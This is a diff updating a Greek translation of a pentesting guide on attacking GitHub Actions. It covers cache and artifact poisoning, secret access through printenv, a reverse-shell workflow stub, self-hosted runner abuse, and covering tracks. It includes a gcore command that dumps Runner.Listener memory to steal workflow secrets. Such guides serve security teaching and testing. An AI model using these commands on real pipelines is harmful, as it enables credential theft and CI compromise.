Ένα cache διατηρείται μεταξύ **των εκτελέσεων workflow στην ίδια branch**. Αυτό σημαίνει ότι αν ένας επιτιθέμενος **συμβιβάσει** ένα **πακέτο** που αποθηκεύεται στο cache και **κατεβαίνει** και εκτελείται από ένα **πιο προνομιούχο** workflow, θα είναι σε θέση να **συμβιβάσει** και αυτό το workflow.
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
@@ -368,7 +418,7 @@ gh-actions-cache-poisoning.md
|
||||
|
||||
### Artifact Poisoning
|
||||
|
||||
Τα workflows θα μπορούσαν να χρησιμοποιούν **artifacts από άλλα workflows και ακόμη και αποθετήρια**, εάν ένας επιτιθέμενος καταφέρει να **συμβιβάσει** την Github Action που **ανεβάζει ένα artifact** που χρησιμοποιείται αργότερα από άλλο workflow, θα μπορούσε να **συμβιβάσει τα άλλα workflows**:
|
||||
Τα workflows θα μπορούσαν να χρησιμοποιούν **artifacts από άλλα workflows και ακόμη και αποθετήρια**, αν ένας επιτιθέμενος καταφέρει να **συμβιβάσει** την Github Action που **ανεβάζει ένα artifact** που χρησιμοποιείται αργότερα από ένα άλλο workflow, θα μπορούσε να **συμβιβάσει τα άλλα workflows**:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -376,11 +426,11 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
---
|
||||
|
||||
## Μετά την Εκμετάλλευση από μια Ενέργεια
|
||||
## Post Exploitation από μια Ενέργεια
|
||||
|
||||
### Πρόσβαση σε AWS και GCP μέσω OIDC
|
||||
|
||||
Ελέγξτε τις παρακάτω σελίδες:
|
||||
Δείτε τις παρακάτω σελίδες:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
@@ -392,9 +442,9 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
### Πρόσβαση σε μυστικά <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
Εάν εισάγετε περιεχόμενο σε ένα σενάριο, είναι ενδιαφέρον να γνωρίζετε πώς μπορείτε να αποκτήσετε πρόσβαση σε μυστικά:
|
||||
Αν εισάγετε περιεχόμενο σε ένα σενάριο, είναι ενδιαφέρον να γνωρίζετε πώς μπορείτε να αποκτήσετε πρόσβαση σε μυστικά:
|
||||
|
||||
- Εάν το μυστικό ή το token έχει οριστεί σε μια **μεταβλητή περιβάλλοντος**, μπορεί να προσπελαστεί άμεσα μέσω του περιβάλλοντος χρησιμοποιώντας **`printenv`**.
|
||||
- Αν το μυστικό ή το token έχει οριστεί σε μια **μεταβλητή περιβάλλοντος**, μπορεί να προσπελαστεί άμεσα μέσω του περιβάλλοντος χρησιμοποιώντας **`printenv`**.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -425,7 +475,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Λάβετε αντίστροφη θήκη με μυστικά</summary>
|
||||
<summary>Απόκτηση αντίστροφης θήκης με μυστικά</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -464,22 +514,22 @@ with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
### Κατάχρηση Αυτοφιλοξενούμενων εκτελεστών
|
||||
### Κατάχρηση αυτο-φιλοξενούμενων runners
|
||||
|
||||
Ο τρόπος για να βρείτε ποιες **Github Actions εκτελούνται σε υποδομή εκτός Github** είναι να αναζητήσετε **`runs-on: self-hosted`** στη διαμόρφωση yaml της Github Action.
|
||||
Ο τρόπος για να βρείτε ποιες **Github Actions εκτελούνται σε υποδομή εκτός Github** είναι να αναζητήσετε **`runs-on: self-hosted`** στο αρχείο ρύθμισης yaml της Github Action.
|
||||
|
||||
Οι **αυτοφιλοξενούμενοι** εκτελεστές μπορεί να έχουν πρόσβαση σε **επιπλέον ευαίσθητες πληροφορίες**, σε άλλα **δικτυακά συστήματα** (ευάλωτα endpoints στο δίκτυο; υπηρεσία μεταδεδομένων;) ή, ακόμα και αν είναι απομονωμένοι και καταστραφούν, **περισσότερες από μία ενέργειες μπορεί να εκτελούνται ταυτόχρονα** και η κακόβουλη μπορεί να **κλέψει τα μυστικά** της άλλης.
|
||||
Οι **αυτο-φιλοξενούμενοι** runners μπορεί να έχουν πρόσβαση σε **επιπλέον ευαίσθητες πληροφορίες**, σε άλλα **δικτυακά συστήματα** (ευάλωτα endpoints στο δίκτυο; υπηρεσία μεταδεδομένων;) ή, ακόμα και αν είναι απομονωμένοι και καταστραφούν, **περισσότερες από μία ενέργειες μπορεί να εκτελούνται ταυτόχρονα** και η κακόβουλη μπορεί να **κλέψει τα μυστικά** της άλλης.
|
||||
|
||||
Στους αυτοφιλοξενούμενους εκτελεστές είναι επίσης δυνατό να αποκτηθούν τα **μυστικά από τη διαδικασία \_Runner.Listener**\_\*\* που θα περιέχει όλα τα μυστικά των ροών εργασίας σε οποιοδήποτε βήμα, ρίχνοντας τη μνήμη της:
|
||||
Σε αυτο-φιλοξενούμενους runners είναι επίσης δυνατό να αποκτηθούν τα **μυστικά από τη διαδικασία \_Runner.Listener**\_\*\* που θα περιέχει όλα τα μυστικά των ροών εργασίας σε οποιοδήποτε βήμα, εκτελώντας dump της μνήμης της:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
Ελέγξτε [**αυτή την ανάρτηση για περισσότερες πληροφορίες**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
Δείτε [**αυτή την ανάρτηση για περισσότερες πληροφορίες**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
### Github Docker Images Registry
|
||||
|
||||
Είναι δυνατόν να δημιουργήσετε Github actions που θα **χτίσουν και θα αποθηκεύσουν μια εικόνα Docker μέσα στο Github**.\
|
||||
Είναι δυνατόν να δημιουργήσετε Github actions που θα **κατασκευάσουν και θα αποθηκεύσουν μια εικόνα Docker μέσα στο Github**.\
|
||||
Ένα παράδειγμα μπορεί να βρεθεί στο παρακάτω επεκτάσιμο:
|
||||
|
||||
<details>
|
||||
@@ -517,20 +567,20 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
|
||||
|
||||
Όπως μπορείτε να δείτε στον προηγούμενο κώδικα, το Github registry φιλοξενείται στο **`ghcr.io`**.
|
||||
|
||||
Ένας χρήστης με δικαιώματα ανάγνωσης πάνω στο repo θα μπορεί στη συνέχεια να κατεβάσει την Docker Image χρησιμοποιώντας ένα προσωπικό access token:
|
||||
Ένας χρήστης με δικαιώματα ανάγνωσης πάνω στο repo θα μπορεί στη συνέχεια να κατεβάσει την εικόνα Docker χρησιμοποιώντας ένα προσωπικό διακριτικό πρόσβασης:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
Τότε, ο χρήστης θα μπορούσε να αναζητήσει **leaked secrets in the Docker image layers:**
|
||||
Τότε, ο χρήστης θα μπορούσε να αναζητήσει **leaked secrets στα layers της Docker εικόνας:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### Ευαίσθητες πληροφορίες στα logs του Github Actions
|
||||
### Ευαίσθητες πληροφορίες στα logs των Github Actions
|
||||
|
||||
Ακόμα και αν το **Github** προσπαθεί να **ανιχνεύσει τις μυστικές τιμές** στα logs των actions και να **αποφύγει να τις εμφανίσει**, **άλλα ευαίσθητα δεδομένα** που θα μπορούσαν να έχουν παραχθεί κατά την εκτέλεση της ενέργειας δεν θα κρυφτούν. Για παράδειγμα, ένα JWT υπογεγραμμένο με μια μυστική τιμή δεν θα κρυφτεί εκτός αν είναι [συγκεκριμένα ρυθμισμένο](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
Ακόμα και αν το **Github** προσπαθεί να **ανιχνεύσει μυστικές τιμές** στα logs των actions και **να τις αποφύγει**, **άλλα ευαίσθητα δεδομένα** που θα μπορούσαν να έχουν παραχθεί κατά την εκτέλεση της action δεν θα κρυφτούν. Για παράδειγμα, ένα JWT υπογεγραμμένο με μια μυστική τιμή δεν θα κρυφτεί εκτός αν είναι [συγκεκριμένα ρυθμισμένο](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
|
||||
## Καλύπτοντας τα Ίχνη σας
|
||||
|
||||
@@ -541,13 +591,4 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
> [!WARNING]
|
||||
> Ο μόνος τρόπος για μια οργάνωση να καταλάβει ότι έχουν στοχοποιηθεί είναι να ελέγξουν τα logs του GitHub από το SIEM, καθώς από το UI του GitHub το PR θα έχει αφαιρεθεί.
|
||||
|
||||
## Εργαλεία
|
||||
|
||||
Τα παρακάτω εργαλεία είναι χρήσιμα για να βρείτε ροές εργασίας Github Action και ακόμη και να βρείτε ευάλωτες:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user